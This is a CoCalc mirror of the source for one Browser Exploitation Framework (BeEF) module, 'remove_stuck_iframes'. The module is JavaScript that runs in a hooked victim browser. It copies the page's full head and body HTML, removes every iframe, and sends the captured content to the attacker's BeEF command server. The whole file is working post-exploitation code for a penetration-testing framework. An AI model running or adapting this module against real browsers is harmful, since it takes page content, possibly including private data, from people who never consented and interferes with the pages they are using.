Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/hooked_origin/remove_stuck_iframes/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
try {
10
var html_head = document.head.innerHTML.toString();
11
} catch (e) {
12
var html_head = "Error: document has no head";
13
}
14
try {
15
var html_body = document.body.innerHTML.toString();
16
} catch (e) {
17
var html_body = "Error: document has no body";
18
}
19
try {
20
var iframes = document.getElementsByTagName('iframe');
21
var iframe_count = iframes.length;
22
for(var i=0; i<iframe_count; i++){
23
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'iframe_result=iframe'+i+'_found');
24
iframes[i].parentNode.removeChild(iframes[i]);
25
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'iframe_result=iframe'+i+'_removed');
26
}
27
var iframe_ = "Info: "+ iframe_count +" iframe(s) processed";
28
} catch (e) {
29
var iframe_ = "Error: can not remove iframe";
30
}
31
32
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body+'&iframe_='+iframe_);
33
34
});
35
36
37